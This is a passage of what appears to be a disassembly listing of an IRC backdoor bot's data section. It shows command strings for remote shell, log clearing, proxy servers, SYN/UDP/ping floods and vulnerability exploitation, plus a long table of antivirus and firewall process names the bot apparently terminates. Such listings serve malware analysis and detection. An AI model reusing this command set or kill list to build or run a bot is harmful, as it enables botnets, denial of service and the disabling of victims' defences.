sub_40CC09+1587o align 4 aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CC09+156Eo aCmd db '[CMD]',0 ; DATA XREF: sub_40CC09+1563o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CC09+155Eo align 4 aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CC09+1545o align 4 aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CC09+1530o align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CC09+151Bo aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CC09+1506o aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CC09+14F1o align 4 aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CC09+14DCo aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CC09+14C7o align 10h aBox_up db 'box.up',0 ; DATA XREF: sub_40CC09+14B2o align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CC09+149Do align 4 aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CC09+1488o align 4 aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CC09+1473o align 4 aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CC09+145Eo aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CC09+1449o align 4 aBox_si db 'box.si',0 ; DATA XREF: sub_40CC09+1434o align 4 aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CC09+141Fo aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CC09+140Ao align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CC09+13F5o aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CC09+13E0o align 10h aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CC09+13CBo align 10h aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CC09+13B6o align 4 aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CC09+13A1o aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CC09+138Co align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CC09+1377o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CC09+1362o align 10h aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CC09+134Do align 10h a_e_1_0bEnz_m_5 db '.e.(1.0b) ( enz.m.d.l ) .. Failed to reboot system.',0 ; DATA XREF: sub_40CC09+1319o align 4 a_e_1_0bEnz_m_4 db '.e.(1.0b) ( enz.m.d.l ) .. Rebooting system.',0 ; DATA XREF: sub_40CC09+1312o aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CC09+12FBo align 4 aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CC09+12E6o align 4 aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CC09+12D1o align 4 aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CC09+12BCo align 4 aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CC09+12A7o align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CC09+1292o align 4 aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CC09+127Do align 4 aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CC09+1268o aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CC09+1253o aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CC09+123Eo aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CC09+1229o align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CC09+1214o aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CC09+11FFo align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CC09+11F4o align 10h aScan db 'Scan',0 ; DATA XREF: sub_40CC09+11EFo align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CC09+11D6o align 4 a_s_ecur_e___ db '.s.ecur.e...',0 ; DATA XREF: sub_40CC09+11CBo align 4 aSecure db 'Secure',0 ; DATA XREF: sub_40CC09+11C6o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CC09+11ADo align 4 a_c_lone_s___ db '.c.lone.s...',0 ; DATA XREF: sub_40CC09+11A2o align 4 aClone db 'Clone',0 ; DATA XREF: sub_40CC09+119Do align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40CC09+1184o align 10h aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CC09+116Fo align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CC09+115Ao align 4 a_t_ftp_d___ db '.t.ftp.d...',0 ; DATA XREF: sub_40CC09+114Fo aServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CC09+1131o a_p_in_g___ db '.p.in.g...',0 ; DATA XREF: sub_40CC09+1126o align 4 aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40CC09+1121o align 10h aDdos_ping_off db 'ddos.ping.off',0 ; DATA XREF: sub_40CC09+1108o align 10h a_u_d_p___ db '.u.d.p...',0 ; DATA XREF: sub_40CC09+10FDo align 4 aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40CC09+10F8o align 4 aDdos_udp_off db 'ddos.udp.off',0 ; DATA XREF: sub_40CC09+10DFo align 4 a_s_y_n___ db '.s.y.n...',0 ; DATA XREF: sub_40CC09+10D4o align 4 aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40CC09+10CFo align 10h aDdos_syn_off db 'ddos.syn.off',0 ; DATA XREF: sub_40CC09+10B6o align 10h a_d_do_s___ db '.d.do.s...',0 ; DATA XREF: sub_40CC09+10ABo align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40CC09+10A6o align 4 aDdos_off db 'ddos.off',0 ; DATA XREF: sub_40CC09+108Do align 4 a_r_edirec_t___ db '.r.edirec.t...',0 ; DATA XREF: sub_40CC09+1082o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40CC09+107Do align 4 aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CC09+1064o a_l_o_g___ db '.l.o.g...',0 ; DATA XREF: sub_40CC09+1059o align 4 aLogList db 'Log list',0 ; DATA XREF: sub_40CC09+1054o align 10h aLog_off db 'log.off',0 ; DATA XREF: sub_40CC09+103Bo a_h_ttp_d___ db '.h.ttp.d...',0 ; DATA XREF: sub_40CC09+1033o aServer_web_off db 'server.web.off',0 ; DATA XREF: sub_40CC09+1015o align 4 a_r_login_d___ db '.r.login.d...',0 ; DATA XREF: sub_40CC09+100Do align 4 aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CC09+FEFo align 4 a_s_ocks_4___ db '.s.ocks.4...',0 ; DATA XREF: sub_40CC09+FCDo align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_40CC09+FC8o ; sub_40CC09+1008o ... align 10h aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CC09+FAFo align 4 aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CC09+F9Ao align 4 aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CC09+F85o align 4 aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CC09+F70o align 10h aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CC09+F5Bo align 4 aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CC09+F46o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CC09+F31o aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CC09+F1Co align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CC09+F04o a63 db '63',0 ; DATA XREF: sub_40CC09+DDDo align 4 asc_434258: ; DATA XREF: sub_40CC09+DB5o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40CC09+D78o align 4 aServer db '$server',0 ; DATA XREF: sub_40CC09+D6Do aRndnick db '$rndnick',0 ; DATA XREF: sub_40CC09+D5Co align 4 aChan db '$chan',0 ; DATA XREF: sub_40CC09+D40o align 10h aUser_1 db '$user',0 ; DATA XREF: sub_40CC09+D2Fo align 4 off_434288 dd offset dword_656D24 ; DATA XREF: sub_40CC09+D1Do off_43428C dd offset dword_642524 ; DATA XREF: sub_40CC09+CAFo aD db '$%d-',0 ; DATA XREF: sub_40CC09+BF4o align 4 aHi db 'hi',0 ; DATA XREF: sub_40CC09+B1Co align 4 aNewshit db 'newshit',0 ; DATA XREF: sub_40CC09+B04o a_e_1_0bDcc_m_5 db '.e.(1.0b) ( dcc.m.d.l ) .. Chat failed by unauthorized user: %' ; DATA XREF: sub_40CC09+AD2o db 's.',0 a_e_1_0bDcc_m_4 db '.e.(1.0b) ( dcc.m.d.l ) .. Chat already active with user: %s.',0 ; DATA XREF: sub_40CC09+AC4o align 4 a_e_1_0bDcc_m_3 db '.e.(1.0b) ( dcc.m.d.l ) .. Failed to start chat thread, error:' ; DATA XREF: sub_40CC09+AB6o db ' <%d>.',0 a_e_1_0bDcc_m_2 db '.e.(1.0b) ( dcc.m.d.l ) .. Chat from user: %s.',0 ; DATA XREF: sub_40CC09+A47o align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40CC09+9B0o align 10h a_e_1_0bDcc_m_1 db '.e.(1.0b) ( dcc.m.d.l ) .. Receive file: ',27h,'%s',27h,' failed fro' ; DATA XREF: sub_40CC09+996o db 'm unauthorized user: %s.',0 a_e_1_0bDcc_m_0 db '.e.(1.0b) ( dcc.m.d.l ) .. Failed to start transfer thread, er' ; DATA XREF: sub_40CC09+978o ; sub_40CC09+427Bo db 'ror: <%d>.',0 dword_434450 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40CC09+967o dd 0A0Dh dword_434468 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CC09+8EDo align 4 dword_43448C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40CC09+8D3o dd 0D017325h, 0Ah dword_4344A8 dd 52455601h, 4E4F4953h, 1a_e_1_0bDcc_m_d db '.e.(1.0b) ( dcc.m.d.l ) .. Receive file: ',27h,'%s',27h,' from user:' ; DATA XREF: sub_40CC09+788o db ' %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40CC09+6E5o align 4 dword_4344FC dd 43434401h, 0 dword_434504 dd 323333h ; sub_40CC09+B3Eo ... a_e_1_0bEnz_m_3 db '.e.(1.0b) ( enz.m.d.l ) .. User: %s logged out.',0 ; DATA XREF: sub_40CC09+5CFo align 4 a_e_1_0bEnz_m_2 db '.e.(1.0b) ( enz.m.d.l ) .. Joined channel: %s.',0 ; DATA XREF: sub_40CC09+5A8o align 10h a353 db '353',0 ; DATA XREF: sub_40CC09+571o aPart db 'PART',0 ; DATA XREF: sub_40CC09+523o ; sub_40CC09+5ECo align 4 aSS_4 db ':%s%s',0 ; DATA XREF: sub_40CC09+4FBo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40CC09+3CDo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+36Eo ; sub_40CC09+610o a_e_1_0bEnz_m_1 db '.e.(1.0b) ( enz.m.d.l ) .. User %s logged out.',0 ; DATA XREF: sub_40CC09+355o ; sub_40CC09+548Do ... align 10h aKick db 'KICK',0 ; DATA XREF: sub_40CC09+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+28Do ; sub_40CC09+4650o ... align 4 a433 db '433',0 ; DATA XREF: sub_40CC09+265o a302 db '302',0 ; DATA XREF: sub_40CC09+22Ao aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+1E4o ; sub_40CC09+3B4o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40CC09+1A9o align 10h asc_434610 db ' :',0 ; DATA XREF: sub_40CC09+86o ; sub_40CC09:loc_40D79Fo align 4 dword_434614 dd 7530h off_434618 dd offset aAckwin32_exe ; DATA XREF: sub_4123B8+CBo ; "ACKWIN32.EXE" dd offset aAdaware_exe ; "ADAWARE.EXE" dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE" dd offset aAgentsvr_exe ; "AGENTSVR.EXE" dd offset aAgentw_exe ; "AGENTW.EXE" dd offset aAlertsvc_exe ; "ALERTSVC.EXE" dd offset aAlevir_exe ; "ALEVIR.EXE" dd offset aAlogserv_exe ; "ALOGSERV.EXE" dd offset aAmon9x_exe ; "AMON9X.EXE" dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE" dd offset aAntivirus_exe ; "ANTIVIRUS.EXE" dd offset aAnts_exe ; "ANTS.EXE" dd offset aApimonitor_exe ; "APIMONITOR.EXE" dd offset aAplica32_exe ; "APLICA32.EXE" dd offset aApvxdwin_exe ; "APVXDWIN.EXE" dd offset aArr_exe ; "ARR.EXE" dd offset aAtcon_exe ; "ATCON.EXE" dd offset aAtguard_exe ; "ATGUARD.EXE" dd offset aAtro55en_exe ; "ATRO55EN.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtwatch_exe ; "ATWATCH.EXE" dd offset aAu_exe ; "AU.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAvconsol_exe ; "AVCONSOL.EXE" dd offset aAve32_exe ; "AVE32.EXE" dd offset aAvgcc32_exe ; "AVGCC32.EXE" dd offset aAvgctrl_exe ; "AVGCTRL.EXE" dd offset aAvgnt_exe ; "AVGNT.EXE" dd offset aAvgserv_exe ; "AVGSERV.EXE" dd offset aAvgserv9_exe ; "AVGSERV9.EXE" dd offset aAvguard_exe ; "AVGUARD.EXE" dd offset aAvgw_exe ; "AVGW.EXE" dd offset aAvkpop_exe ; "AVKPOP.EXE" dd offset aAvkserv_exe ; "AVKSERV.EXE" dd offset aAvkservice_exe ; "AVKSERVICE.EXE" dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE" dd offset aAvltmain_exe ; "AVLTMAIN.EXE" dd offset aAvnt_exe ; "AVNT.EXE" dd offset aAvp_exe ; "AVP.EXE" dd offset aAvp32_exe ; "AVP32.EXE" dd offset aAvpcc_exe ; "AVPCC.EXE" dd offset aAvpdos32_exe ; "AVPDOS32.EXE" dd offset aAvpm_exe ; "AVPM.EXE" dd offset aAvptc32_exe ; "AVPTC32.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvsched32_exe ; "AVSCHED32.EXE" dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE" dd offset aAvwin95_exe ; "AVWIN95.EXE" dd offset aAvwinnt_exe ; "AVWINNT.EXE" dd offset aAvwupd_exe ; "AVWUPD.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE" dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE" dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aBackweb_exe ; "BACKWEB.EXE" dd offset aBargains_exe ; "BARGAINS.EXE" dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBelt_exe ; "BELT.EXE" dd offset aBidef_exe ; "BIDEF.EXE" dd offset aBidserver_exe ; "BIDSERVER.EXE" dd offset aBipcp_exe ; "BIPCP.EXE" dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE" dd offset aBisp_exe ; "BISP.EXE" dd offset aBlackd_exe ; "BLACKD.EXE" dd offset aBlackice_exe ; "BLACKICE.EXE" dd offset aBlss_exe ; "BLSS.EXE" dd offset aBootconf_exe ; "BOOTCONF.EXE" dd offset aBootwarn_exe ; "BOOTWARN.EXE" dd offset aBorg2_exe ; "BORG2.EXE" dd offset aBpc_exe ; "BPC.EXE" dd offset aBrasil_exe ; "BRASIL.EXE" dd offset aBs120_exe ; "BS120.EXE" dd offset aBundle_exe ; "BUNDLE.EXE" dd offset aBvt_exe ; "BVT.EXE" dd offset aCcapp_exe ; "CCAPP.EXE" dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE" dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE" dd offset aCdp_exe ; "CDP.EXE" dd offset aCfd_exe ; "CFD.EXE" dd offset aCfgwiz_exe ; "CFGWIZ.EXE" dd offset aCfiadmin_exe ; "CFIADMIN.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfinet_exe ; "CFINET.EXE" dd offset aCfinet32_exe ; "CFINET32.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aClean_exe ; "CLEAN.EXE" dd offset aCleaner_exe ; "CLEANER.EXE" dd offset aCleaner3_exe ; "CLEANER3.EXE" dd offset aCleanpc_exe ; "CLEANPC.EXE" dd offset aClick_exe ; "CLICK.EXE" dd offset aCmd32_exe ; "CMD32.EXE" dd offset aCmesys_exe ; "CMESYS.EXE" dd offset aCmgrdian_exe ; "CMGRDIAN.EXE" dd offset aCmon016_exe ; "CMON016.EXE" dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE" dd offset aCpd_exe ; "CPD.EXE" dd offset aCpf9x206_exe ; "CPF9X206.EXE" dd offset aCpfnt206_exe ; "CPFNT206.EXE" dd offset aCtrl_exe ; "CTRL.EXE" dd offset aCv_exe ; "CV.EXE" dd offset aCwnb181_exe ; "CWNB181.EXE" dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE" dd offset aClaw95_exe ; "Claw95.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aDatemanager_ex ; "DATEMANAGER.EXE" dd offset aDcomx_exe ; "DCOMX.EXE" dd offset aDefalert_exe ; "DEFALERT.EXE" dd offset aDefscangui_exe ; "DEFSCANGUI.EXE" dd offset aDefwatch_exe ; "DEFWATCH.EXE" dd offset aDeputy_exe ; "DEPUTY.EXE" dd offset aDivx_exe ; "DIVX.EXE" dd offset aDllcache_exe ; "DLLCACHE.EXE" dd offset aDllreg_exe ; "DLLREG.EXE" dd offset aDoors_exe ; "DOORS.EXE" dd offset aDpf_exe ; "DPF.EXE" dd offset aDpfsetup_exe ; "DPFSETUP.EXE" dd offset aDpps2_exe ; "DPPS2.EXE" dd offset aDrwatson_exe ; "DRWATSON.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aDrwebupw_exe ; "DRWEBUPW.EXE" dd offset aDssagent_exe ; "DSSAGENT.EXE" dd offset aDvp95_exe ; "DVP95.EXE" dd offset aDvp95_0_exe ; "DVP95_0.EXE" dd offset aEcengine_exe ; "ECENGINE.EXE" dd offset aEfpeadm_exe ; "EFPEADM.EXE" dd offset aEmsw_exe ; "EMSW.EXE" dd offset aEnt_exe ; "ENT.EXE" dd offset aEsafe_exe ; "ESAFE.EXE" dd offset aEscanh95_exe ; "ESCANH95.EXE" dd offset aEscanhnt_exe ; "ESCANHNT.EXE" dd offset aEscanv95_exe ; "ESCANV95.EXE" dd offset aEspwatch_exe ; "ESPWATCH.EXE" dd offset aEthereal_exe ; "ETHEREAL.EXE" dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE" dd offset aEvpn_exe ; "EVPN.EXE" dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE" dd offset aExe_avxw_exe ; "EXE.AVXW.EXE" dd offset aExpert_exe ; "EXPERT.EXE" dd offset aExplore_exe ; "EXPLORE.EXE" dd offset aFAgnt95_exe ; "F-AGNT95.EXE" dd offset aFProt_exe ; "F-PROT.EXE" dd offset aFProt95_exe ; "F-PROT95.EXE" dd offset aFStopw_exe ; "F-STOPW.EXE" dd offset aFameh32_exe ; "FAMEH32.EXE" dd offset aFast_exe ; "FAST.EXE" dd offset aFch32_exe ; "FCH32.EXE" dd offset aFih32_exe ; "FIH32.EXE" dd offset aFindviru_exe ; "FINDVIRU.EXE" dd offset aFirewall_exe ; "FIREWALL.EXE" dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE" dd offset aFnrb32_exe ; "FNRB32.EXE" dd offset aFpWin_exe ; "FP-WIN.EXE" dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE" dd offset aFprot_exe ; "FPROT.EXE" dd offset aFrw_exe ; "FRW.EXE" dd offset aFsaa_exe ; "FSAA.EXE" dd offset aFsav_exe ; "FSAV.EXE" dd offset aFsav32_exe ; "FSAV32.EXE" dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE" dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE" dd offset aFsav95_exe ; "FSAV95.EXE" dd offset aFsgk32_exe ; "FSGK32.EXE" dd offset aFsm32_exe ; "FSM32.EXE" dd offset aFsma32_exe ; "FSMA32.EXE" dd offset aFsmb32_exe ; "FSMB32.EXE" dd offset aGator_exe ; "GATOR.EXE" dd offset aGbmenu_exe ; "GBMENU.EXE" dd offset aGbpoll_exe ; "GBPOLL.EXE" dd offset aGenerics_exe ; "GENERICS.EXE" dd offset aGmt_exe ; "GMT.EXE" dd offset aGuard_exe ; "GUARD.EXE" dd offset aGuarddog_exe ; "GUARDDOG.EXE" dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE" dd offset aHbinst_exe ; "HBINST.EXE" dd offset aHbsrv_exe ; "HBSRV.EXE" dd offset aHotactio_exe ; "HOTACTIO.EXE" dd offset aHotpatch_exe ; "HOTPATCH.EXE" dd offset aHtlog_exe ; "HTLOG.EXE" dd offset aHtpatch_exe ; "HTPATCH.EXE" dd offset aHwpe_exe ; "HWPE.EXE" dd offset aHxdl_exe ; "HXDL.EXE" dd offset aHxiul_exe ; "HXIUL.EXE" dd offset aIamapp_exe ; "IAMAPP.EXE" dd offset aIamserv_exe ; "IAMSERV.EXE" dd offset aIamstats_exe ; "IAMSTATS.EXE" dd offset aIbmasn_exe ; "IBMASN.EXE" dd offset aIbmavsp_exe ; "IBMAVSP.EXE" dd offset aIcload95_exe ; "ICLOAD95.EXE" dd offset aIcloadnt_exe ; "ICLOADNT.EXE" dd offset aIcmon_exe ; "ICMON.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE" dd offset aIdle_exe ; "IDLE.EXE" dd offset aIedll_exe ; "IEDLL.EXE" dd offset aIedriver_exe ; "IEDRIVER.EXE" dd offset aIexplorer_exe ; "IEXPLORER.EXE" dd offset aIface_exe ; "IFACE.EXE" dd offset aIfw2000_exe ; "IFW2000.EXE" dd offset aInetlnfo_exe ; "INETLNFO.EXE" dd offset aInfus_exe ; "INFUS.EXE" dd offset aInfwin_exe ; "INFWIN.EXE" dd offset aInit_exe ; "INIT.EXE" dd offset aIntdel_exe ; "INTDEL.EXE" dd offset aIntren_exe ; "INTREN.EXE" dd offset aIomon98_exe ; "IOMON98.EXE" dd offset aIparmor_exe ; "IPARMOR.EXE" dd offset aIris_exe ; "IRIS.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aIsrv95_exe ; "ISRV95.EXE" dd offset aIstsvc_exe ; "ISTSVC.EXE" dd offset aJammer_exe ; "JAMMER.EXE" dd offset aJdbgmrg_exe ; "JDBGMRG.EXE" dd offset aJedi_exe ; "JEDI.EXE" dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE" dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE" dd offset aKavpf_exe ; "KAVPF.EXE" dd offset aKazza_exe ; "KAZZA.EXE" dd offset aKeenvalue_exe ; "KEENVALUE.EXE" dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE" dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE" dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE" dd offset aLauncher_exe ; "LAUNCHER.EXE" dd offset aLdnetmon_exe ; "LDNETMON.EXE" dd offset aLdpro_exe ; "LDPRO.EXE" dd offset aLdpromenu_exe ; "LDPROMENU.EXE" dd offset aLdscan_exe ; "LDSCAN.EXE" dd offset aLnetinfo_exe ; "LNETINFO.EXE" dd offset aLoader_exe ; "LOADER.EXE" dd offset aLocalnet_exe ; "LOCALNET.EXE" dd offset aLockdown_exe ; "LOCKDOWN.EXE" dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE" dd offset aLookout_exe ; "LOOKOUT.EXE" dd offset aLordpe_exe ; "LORDPE.EXE" dd offset aLsetup_exe ; "LSETUP.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuau_exe ; "LUAU.EXE" dd offset aLucomserver_ex ; "LUCOMSERVER.EXE" dd offset aLuinit_exe ; "LUINIT.EXE" dd offset aLuspt_exe ; "LUSPT.EXE" dd offset aMapisvc32_exe ; "MAPISVC32.EXE" dd offset aMcagent_exe ; "MCAGENT.EXE" dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE" dd offset aMcshield_exe ; "MCSHIELD.EXE" dd offset aMctool_exe ; "MCTOOL.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcvsrte_exe ; "MCVSRTE.EXE" dd offset aMcvsshld_exe ; "MCVSSHLD.EXE" dd offset aMd_exe ; "MD.EXE" dd offset aMfin32_exe ; "MFIN32.EXE" dd offset aMfw2en_exe ; "MFW2EN.EXE" dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE" dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE" dd offset aMgavrte_exe ; "MGAVRTE.EXE" dd offset aMghtml_exe ; "MGHTML.EXE" dd offset aMgui_exe ; "MGUI.EXE" dd offset aMinilog_exe ; "MINILOG.EXE" dd offset aMmod_exe ; "MMOD.EXE" dd offset aMonitor_exe ; "MONITOR.EXE" dd offset aMoolive_exe ; "MOOLIVE.EXE" dd offset aMostat_exe ; "MOSTAT.EXE" dd offset aMpfagent_exe ; "MPFAGENT.EXE" dd offset aMpfservice_exe ; "MPFSERVICE.EXE" dd offset aMpftray_exe ; "MPFTRAY.EXE" dd offset aMrflux_exe ; "MRFLUX.EXE" dd offset aMsapp_exe ; "MSAPP.EXE" dd offset aMsbb_exe ; "MSBB.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aMscache_exe ; "MSCACHE.EXE" dd offset aMsccn32_exe ; "MSCCN32.EXE" dd offset aMscman_exe ; "MSCMAN.EXE" dd offset aMsconfig_exe ; "MSCONFIG.EXE" dd offset aMsdm_exe ; "MSDM.EXE" dd offset aMsdos_exe ; "MSDOS.EXE" dd offset aMsiexec16_exe ; "MSIEXEC16.EXE" dd offset aMsinfo32_exe ; "MSINFO32.EXE" dd offset aMslaugh_exe ; "MSLAUGH.EXE" dd offset aMsmgt_exe ; "MSMGT.EXE" dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE" dd offset aMssmmc32_exe ; "MSSMMC32.EXE" dd offset aMssys_exe ; "MSSYS.EXE" dd offset aMsvxd_exe ; "MSVXD.EXE" dd offset aMu0311ad_exe ; "MU0311AD.EXE" dd offset aMwatch_exe ; "MWATCH.EXE" dd offset aN32scanw_exe ; "N32SCANW.EXE" dd offset aNav_exe ; "NAV.EXE" dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE" dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE" dd offset aNavapsvc_exe ; "NAVAPSVC.EXE" dd offset aNavapw32_exe ; "NAVAPW32.EXE" dd offset aNavdx_exe ; "NAVDX.EXE" dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE" dd offset aNavlu32_exe ; "NAVLU32.EXE" dd offset aNavnt_exe ; "NAVNT.EXE" dd offset aNavstub_exe ; "NAVSTUB.EXE" dd offset aNavw32_exe ; "NAVW32.EXE" dd offset aNavwnt_exe ; "NAVWNT.EXE" dd offset aNc2000_exe ; "NC2000.EXE" dd offset aNcinst4_exe ; "NCINST4.EXE" dd offset aNdd32_exe ; "NDD32.EXE" dd offset aNeomonitor_exe ; "NEOMONITOR.EXE" dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE" dd offset aNetarmor_exe ; "NETARMOR.EXE" dd offset aNetd32_exe ; "NETD32.EXE" dd offset aNetinfo_exe ; "NETINFO.EXE" dd offset aNetmon_exe ; "NETMON.EXE" dd offset aNetscanpro_exe ; "NETSCANPRO.EXE" dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE" dd offset aNetstat_exe ; "NETSTAT.EXE" dd offset aNetutils_exe ; "NETUTILS.EXE" dd offset aNisserv_exe ; 